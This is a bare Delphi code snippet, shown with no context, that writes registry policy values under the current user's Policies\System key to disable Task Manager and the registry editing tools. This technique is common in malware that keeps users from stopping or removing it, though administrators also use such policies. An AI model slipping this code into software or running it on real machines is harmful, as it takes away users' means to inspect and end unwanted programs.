Reg:=TRegistry.create; Reg.RootKey:=HKEY_CURRENT_USER; Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true); Reg.WriteBool('DisableTaskMgr',true); Reg.WriteBool('DisableRegistryTools',true); Reg.CloseKey; Reg.Destroy;